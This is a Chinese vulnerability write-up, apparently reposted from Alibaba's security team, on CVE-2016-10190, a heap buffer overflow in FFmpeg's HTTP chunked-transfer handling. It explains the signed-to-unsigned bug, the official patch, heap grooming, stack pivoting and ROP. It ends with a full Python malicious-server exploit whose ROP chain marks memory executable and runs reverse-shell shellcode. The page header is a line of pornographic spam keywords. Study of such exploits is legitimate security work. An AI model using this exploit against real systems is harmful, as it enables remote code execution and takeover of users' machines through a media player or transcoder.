压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

Http協(xié)議 heap buffer overflow漏洞分析及利用

來源:阿里聚安全

1. 背景

FFmpeg是一個著名的處理音視頻的開源項目,非常多的播放器、轉(zhuǎn)碼器以及視頻網(wǎng)站都用到了FFmpeg作為內(nèi)核或者是處理流媒體的工具。2016年末paulcher發(fā)現(xiàn)FFmpeg三個堆溢出漏洞分別為CVE-2016-10190、CVE-2016-10191以及CVE-2016-10192。本文對CVE-2016-10190進行了詳細(xì)的分析,是一個學(xué)習(xí)如何利用堆溢出達到任意代碼執(zhí)行的一個非常不錯的案例。

2. 漏洞分析

FFmpeg的 Http 協(xié)議的實現(xiàn)中支持幾種不同的數(shù)據(jù)傳輸方式,通過 Http Response Header 來控制。其中一種傳輸方式是transfer-encoding: chunked,表示數(shù)據(jù)將被劃分為一個個小的 chunk 進行傳輸,這些 chunk 都是被放在 Http body 當(dāng)中,每一個 chunk 的結(jié)構(gòu)分為兩個部分,第一個部分是該 chunk 的 data 部分的長度,十六進制,以換行符結(jié)束,第二個部分就是該 chunk 的 data,末尾還要額外加上一個換行符。下面是一個 Http 響應(yīng)的示例。關(guān)于transfer-encoding: chunked更加詳細(xì)的內(nèi)容可以參考這篇文章。

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 03 May 2015 17:25:23 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Content-Encoding: gzip

1f
HW(/IJ

0

漏洞就出現(xiàn)在libavformat/http.c這個文件中,在http_read_stream函數(shù)中,如果是以 chunk 的方式傳輸,程序會讀取每個 chunk 的第一行,也就是 chunk 的長度那一行,然后調(diào)用s->chunksize = strtoll(line, NULL, 16);來計算 chunk size。chunksize 的類型是int64_t,在下面調(diào)用了FFMIN和 buffer 的 size 進行了長度比較,但是 buffer 的 size 也是有符號數(shù),這就導(dǎo)致了如果我們讓 chunksize 等于-1, 那么最終傳遞給 httpbufread 函數(shù)的 size 參數(shù)也是-1。相關(guān)代碼如下:

s->chunksize = strtoll(line, NULL, 16);

av_log(NULL, AV_LOG_TRACE, "Chunked encoding data size: %"PRId64"'\n",
s->chunksize);

if (!s->chunksize)
return 0;
        }
        size = FFMIN(size, s->chunksize);//兩個有符號數(shù)相比較
    }
//...
read_ret = http_buf_read(h, buf, size);//可以傳遞一個負(fù)數(shù)過去

而在 httpbufread 函數(shù)中會調(diào)用 ffurl_read 函數(shù),進一步把 size 傳遞過去。然后經(jīng)過一個比較長的調(diào)用鏈,最終會傳遞到 tcp_read 函數(shù)中,函數(shù)里調(diào)用了 recv 函數(shù)來從 socket 讀取數(shù)據(jù),而 recv 的第三個參數(shù)是 size_t 類型,也就是無符號數(shù),我們把 size 為-1傳遞給它的時候會發(fā)生有符號數(shù)到無符號數(shù)的隱式類型轉(zhuǎn)換,就變成了一個非常大的值 0xffffffff,從而導(dǎo)致緩沖區(qū)溢出。

static int http_buf_read(URLContext *h, uint8_t *buf, int size)
{
    HTTPContext *s = h->priv_data;
    intlen;
    /* read bytes from input buffer first */
    len = s->buf_end - s->buf_ptr;
    if (len> 0) {
        if (len> size)
            len = size;
        memcpy(buf, s->buf_ptr, len);
        s->buf_ptr += len;
    } else {
        //...
       len = ffurl_read(s->hd, buf, size);//這里的 size 是從上面?zhèn)鬟f下來的
static int tcp_read(URLContext *h, uint8_t *buf, int size)
{
    TCPContext *s = h->priv_data;
    int ret;

    if (!(h->flags & AVIO_FLAG_NONBLOCK)) {
        //...
    }
    ret = recv(s->fd, buf, size, 0);    //最后在這里溢出 

可以看到,由有符號到無符號數(shù)的類型轉(zhuǎn)換可以說是漏洞頻發(fā)的重災(zāi)區(qū),寫代碼的時候稍有不慎就可能犯下這種錯誤,而且一些隱式的類型轉(zhuǎn)換編譯器并不會報 warning。如果需要檢測這樣的類型轉(zhuǎn)換,可以在編譯的時候添加-Wconversion -Wsign-conversion這個選項。

官方修復(fù)方案

官方的修復(fù)方法也比較簡單明了,把 HTTPContext 這個結(jié)構(gòu)體中所有和 size,offset 有關(guān)的字段全部改為 unsigned 類型,把 strtoll 函數(shù)改為 strtoull 函數(shù),還有一些細(xì)節(jié)上的調(diào)整等等。這么做不僅補上了這次的漏洞,也防止了類似的漏洞不會再其他的地方再發(fā)生。放上官方補丁的鏈接。

3. 利用環(huán)境搭建

漏洞利用的靶機環(huán)境

操作系統(tǒng):Ubuntu 16.04 x64

FFmpeg版本:3.2.1 (參照https://trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu編譯,需要把官方教程中提及的所有 encoder編譯進去,最好是靜態(tài)編譯。)

4. 利用過程

這次的漏洞需要我們搭建一個惡意的 Http Server,然后讓我們的客戶端連上 Server,Server 把惡意的 payload 傳輸給 client,在 client 上執(zhí)行任意代碼,然后反彈一個 shell 到 Server 端。

首先我們需要控制返回的 Http header 中包含 transfer-encoding: chunked 字段。

headers = """HTTP/1.1 200 OK
Server: HTTPd/0.9
Date: Sun, 10 Apr 2005 20:26:47 GMT
Transfer-Encoding: chunked

"""

然后我們控制 chunk 的 size 為-1, 再把我們的 payload 發(fā)送過去

    client_socket.send('-1\n')
    #raw_input("sleep for a while to avoid HTTPContext buffer problem!")
    sleep(3)    #這里 sleep 很關(guān)鍵,后面會解釋
    client_socket.send(payload)

下面我們開始考慮 payload 該如何構(gòu)造,首先我們使用 gdb 觀察程序在 buffer overflow 的時候的堆布局是怎樣的,在我的機器上很不幸的是可以看到被溢出的 chunk 正好緊跟在 top chunk 的后面,這就給我們的利用帶來了困難。接下來我先后考慮了三種思路:

思路一:覆蓋top chunk的size字段

這是一種常見的 glibc heap 利用技巧,是通過把 top chunk 的 size 字段改寫來實現(xiàn)任意地址寫,但是這種方法需要我們能很好的控制 malloc 的 size 參數(shù)。在FFmpeg源代碼中尋找了一番并沒有找到這樣的代碼,只能放棄。

思路二:通過unlink來任意地址寫

這種方法的條件也比較苛刻,首先需要繞過 unlink 的 check,但是由于我們沒有辦法 leak 出堆地址,所以也是行不通的。

思路三:通過某種方式影響堆布局,使得溢出chunk后面有關(guān)鍵結(jié)構(gòu)體

如果溢出 chunk 之后有關(guān)鍵結(jié)構(gòu)體,結(jié)構(gòu)體里面有函數(shù)指針,那么事情就簡單多了,我們只需要覆蓋函數(shù)指針就可以控制 RIP 了??v觀溢出時的整個函數(shù)調(diào)用棧,avio_read->fill_buffer->io_read_packet->…->http_buf_read,avio_read函數(shù)和fill_buffer函數(shù)里面都調(diào)用了AVIOContext::read_packet這個函數(shù)。我們必須設(shè)法覆蓋 AVIOContext 這個結(jié)構(gòu)體里面的read_packet函數(shù)指針,但是目前這個結(jié)構(gòu)體是在溢出 chunk 的前面的,需要把它挪到后面去。那么就需要搞清楚這兩個 chunk 被 malloc 的先后順序,以及 mallocAVIOContext 的時候的堆布局是怎么樣的。

int ffio_fdopen(AVIOContext **s, URLContext *h)
{
    //...
    buffer = av_malloc(buffer_size);//先分配io buffer, 再分配AVIOContext
if (!buffer)
    return AVERROR(ENOMEM);

    internal = av_mallocz(sizeof(*internal));
    if (!internal)
        goto fail;

    internal->h = h;

    *s = avio_alloc_context(buffer, buffer_size, h->flags & AVIO_FLAG_WRITE,
internal, io_read_packet, io_write_packet, io_seek);

ffio_fdopen函數(shù)中可以清楚的看到是先分配了用于io的 buffer(也就是溢出的 chunk),再分配 AVIOContext 的。程序在 mallocAVIOContext 的時候堆上有一個 large free chunk,正好是在溢出 chunk 的前面。那么只要想辦法在之前把這個 free chunk 給填上就能讓 AVIOContext 跑到溢出 chunk 的后面去了。由于 http_open 是在 AVIOContext 被分配之前調(diào)用的,(關(guān)于整個調(diào)用順序可以參考雷霄華的博客整理的一個FFmpeg的總的流程圖)所以我們可在http_read_header函數(shù)里面尋找那些能夠影響堆布局的代碼,其中 Content-Type 字段就會為字段值 malloc 一段內(nèi)存來保存。所以我們可以任意填充 Content-Type 的值為那個 free chunk 的大小,就能預(yù)先把 free chunk 給使用掉了。修改后的Http header如下:

headers = """HTTP/1.1 200 OK
Server: HTTPd/0.9
Date: Sun, 10 Apr 2005 20:26:47 GMT
Content-Type: %s
Transfer-Encoding: chunked
Set-Cookie: XXXXXXXXXXXXXXXX=AAAAAAAAAAAAAAAA;

""" % ('h' * 3120)

其中 Set-Cookie 字段可有可無,只是會影響溢出 chunk 和 AVIOContext 的距離,不會影響他們的前后關(guān)系。

這之后就是覆蓋 AVIOContext 的各個字段,以及考慮怎么讓程序走到自己想要的分支了。經(jīng)過分析我們讓程序再一次調(diào)用fill_buffer,然后走到s->read_packet那一行是最穩(wěn)妥的。調(diào)試發(fā)現(xiàn)走到那一行的時候我們可以控制的有RIP, RDI, RSI, RDX, RCX 等寄存器,接下來就是考慮怎么 ROP 了。

static void fill_buffer(AVIOContext *s)
{
    intmax_buffer_size = s->max_packet_size ?  //可控
s->max_packet_size : 
IO_BUFFER_SIZE;
    uint8_t *dst        = s->buf_end - s->buffer + max_buffer_size< s->buffer_size ?
                          s->buf_end : s->buffer;   //控制這個, 如果等于s->buffer的話,問題是 heap 地址不知道
    intlen             = s->buffer_size - (dst - s->buffer);   //可控

    /* can't fill the buffer without read_packet, just set EOF if appropriate */
    if (!s->read_packet&& s->buf_ptr>= s->buf_end)
        s->eof_reached = 1;

    /* no need to do anything if EOF already reached */
    if (s->eof_reached)
        return;

    if (s->update_checksum&&dst == s->buffer) {
        //...
    }

    /* make buffer smaller in case it ended up large after probing */
    if (s->read_packet&& s->orig_buffer_size&& s->buffer_size> s->orig_buffer_size) {
        //...
    }

    if (s->read_packet)
        len = s->read_packet(s->opaque, dst, len);

首先要把棧遷移到堆上,由于堆地址是隨機的,我們不知道。所以只能利用當(dāng)時寄存器或者內(nèi)存中存在的堆指針,并且堆指針要指向我們可控的區(qū)域。在寄存器中沒有找到合適的值,但是打印當(dāng)前 stack, 可以看到棧上正好有我們需要的堆指針,指向 AVIOContext 結(jié)構(gòu)體的開頭。接下來只要想辦法找到 pop rsp; ret 之類的 rop 就可以了。

pwndbg> stack
00:0000│rsp  0x7fffffffd8c0 —? 0x7fffffffd900 —? 0x7fffffffd930 —? 0x7fffffffd9d0 ?— ...
01:0008│      0x7fffffffd8c8 —? 0x2b4ae00 —? 0x63e2c8 (ff_yadif_filter_line_10bit_ssse3+1928) ?— add    rsp, 0x58
02:0010│      0x7fffffffd8d0 —? 0x7fffffffe200 ?— 0x6
03:0018│      0x7fffffffd8d8 ?— 0x83d1d51e00000000
04:0020│      0x7fffffffd8e0 ?— 0x8000
05:0028│      0x7fffffffd8e8 —? 0x2b4b168 ?— 0x6868686868686868 ('hhhhhhhh')
06:0030│rbp  0x7fffffffd8f0 —? 0x7fffffffd930 —? 0x7fffffffd9d0 —? 0x7fffffffda40 ?— ...
07:0038│      0x7fffffffd8f8 —? 0x6cfb2c (avio_read+336) ?— movrax, qword ptr [rbp - 0x18]

把棧遷移之后,先利用 add rsp, 0x58; ret 這種蹦床把棧拔高,然后執(zhí)行我們真正的 ROP 指令。由于 plt 表中有 mprotect, 所以可以先將 0x400000 地址處的 page 權(quán)限改為 rwx,再把 shellcode 寫到那邊去,然后跳轉(zhuǎn)過去就行了。最終的堆布局如下:

放上最后利用成功的截圖

啟動惡意的 Server

客戶端連接上 Server

成功反彈 shell

最后附上完整的利用腳本,根據(jù)漏洞作者的 exp 修改而來

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
#!/usr/bin/python
#coding=utf-8

import re
importos
import sys
import socket
import threading
from time import sleep

frompwn import *


bind_ip = '0.0.0.0'
bind_port = 12345


headers = """HTTP/1.1 200 OK
Server: HTTPd/0.9
Date: Sun, 10 Apr 2005 20:26:47 GMT
Content-Type: %s
Transfer-Encoding: chunked
Set-Cookie: XXXXXXXXXXXXXXXX=AAAAAAAAAAAAAAAA;

""" % ('h' * 3120)

"""
"""

elf = ELF('/home/dddong/bin/ffmpeg_g')
shellcode_location = 0x00400000
page_size = 0x1000
rwx_mode = 7

gadget = lambda x: next(elf.search(asm(x, os='linux', arch='amd64')))
pop_rdi = gadget('pop rdi; ret')
pop_rsi = gadget('pop rsi; ret')
pop_rax = gadget('pop rax; ret')
pop_rcx = gadget('pop rcx; ret')
pop_rdx = gadget('pop rdx; ret')
pop_rbp = gadget('pop rbp; ret')

leave_ret = gadget('leave; ret')
pop_pop_rbp_jmp_rcx = gadget('pop rbx ; pop rbp ; jmprcx')
push_rbx = gadget('push rbx; jmprdi')
push_rsi = gadget('push rsi; jmprdi')
push_rdx_call_rdi = gadget('push rdx; call rdi')
pop_rsp = gadget('pop rsp; ret')
add_rsp = gadget('add rsp, 0x58; ret')

mov_gadget = gadget('mov qword ptr [rdi], rax ; ret')

mprotect_func = elf.plt['mprotect']
#read_func = elf.plt['read']



def handle_request(client_socket):
    # 0x009e5641: mov qword [rcx], rax ; ret  ;  (1 found)

    # 0x010ccd95: push rbx ;jmprdi ;  (1 found)
    # 0x00d89257: pop rsp ; ret  ;  (1 found)
    # 0x0058dc48: add rsp, 0x58 ; ret  ;  (1 found)
    request = client_socket.recv(2048)

    payload = ''
    payload += 'C' * (0x8040)
    payload += 'CCCCCCCC' * 4

    ##################################################
    #rop starts here
    payload += p64(add_rsp) # 0x0: 從這里開始覆蓋AVIOContext
    #payload += p64(0) + p64(1) + 'CCCCCCCC' * 2 #0x8:
    payload += 'CCCCCCCC' * 4 #0x8: buf_ptr和buf_end后面會被覆蓋為正確的值

    payload += p64(pop_rsp) # 0x28: 這里是opaque指針,可以控制rdi和rcx, s->read_packet(opaque,dst,len)
    payload += p64(pop_pop_rbp_jmp_rcx) # 0x30: 這里是read_packet指針,call *%rax
    payload += 'BBBBBBBB' * 3 #0x38
    payload += 'AAAA' #0x50 must_flush
    payload += p32(0) #eof_reached
    payload += p32(1) + p32(0) #0x58 write_flag=1 and max_packet_size=0
    payload += p64(add_rsp) # 0x60: second add_esp_0x58 rop to jump to uncorrupted chunk
    payload += 'CCCCCCCC' #0x68: checksum_ptr控制rdi
    #payload += p64(push_rdx_call_rdi) #0x70
    payload += p64(1) #0x70: update_checksum
    payload += 'XXXXXXXX' * 9 #0x78: orig_buffer_size

    # realrop payload starts here
    #
    # usingmprotect to create executable area
    payload += p64(pop_rdi)
    payload += p64(shellcode_location)
    payload += p64(pop_rsi)
    payload += p64(page_size)
    payload += p64(pop_rdx)
    payload += p64(rwx_mode)
    payload += p64(mprotect_func)

    # backconnectshellcode x86_64: 127.0.0.1:31337
    shellcode = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\xc7\x44\x24\x04\x7f\x00\x00\x01\x48\x89\xe6\x6a\x10\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05";
    shellcode = '\x90' * (8 - (len(shellcode) % 8)) + shellcode
    shellslices = map(''.join, zip(*[iter(shellcode)]*8))

    write_location = shellcode_location
    forshellslice in shellslices:
        payload += p64(pop_rax)
        payload += shellslice
        payload += p64(pop_rdi)
        payload += p64(write_location)
        payload += p64(mov_gadget)

        write_location += 8

    payload += p64(pop_rbp)
    payload += p64(4)
    payload += p64(shellcode_location)


    client_socket.send(headers)
    client_socket.send('-1\n')
    #raw_input("sleep for a while to avoid HTTPContext buffer problem!")
    sleep(3)
    client_socket.send(payload)
    print "send payload done."
    client_socket.close()


if __name__ == '__main__':
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

    s.bind((bind_ip, bind_port))
    s.listen(5)

    filename = os.path.basename(__file__)
    st = os.stat(filename)

    print 'start listening at %s:%s' % (bind_ip, bind_port)
    while True:
        client_socket, addr = s.accept()
        print 'accept client connect from %s:%s' % addr
        handle_request(client_socket)
        if os.stat(filename) != st:
            print 'restarted'
            sys.exit(0)

5. 反思與總結(jié)

這次的漏洞利用過程讓我對 FFmpeg 的源代碼有了更為深刻的理解。也學(xué)會了如何通過影響堆布局來簡化漏洞利用的過程,如何棧遷移以及編寫 ROP。

在 pwn 的過程中,閱讀源碼來搞清楚 malloc 的順序,使用gdb插件(如libheap)來顯示堆布局是非常重要的,只有這樣才能對癥下藥,想明白如何才能調(diào)整堆的布局。如果能夠有插件顯示每一個 malloc chunk 的函數(shù)調(diào)用棧就更好了,之后可以嘗試一下 GEF 這個插件。

6. 參考資料

1 https://trac.ffmpeg.org/ticket/5992
2 http://www.openwall.com/lists/oss-security/2017/01/31/12
3 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10190
4 官方修復(fù)鏈接:https://github.com/FFmpeg/FFmpeg/commit/2a05c8f813de6f2278827734bf8102291e7484aa
5 https://security.tencent.com/index.php/blog/msg/116
6 Transfer-encoding介紹:https://imququ.com/post/transfer-encoding-header-in-http.html
7 漏洞原作者的 exp :https://gist.github.com/PaulCher/324690b88db8c4cf844e056289d4a1d6
8 FFmpeg源代碼結(jié)構(gòu)圖:http://blog.csdn.net/leixiaohua1020/article/details/44220151
9 https://docs.pwntools.com/en/stable/index.html

上一篇:從WordPress SQLi談PHP格式化字符串問題

下一篇:iOS高危漏洞威脅近半果粉!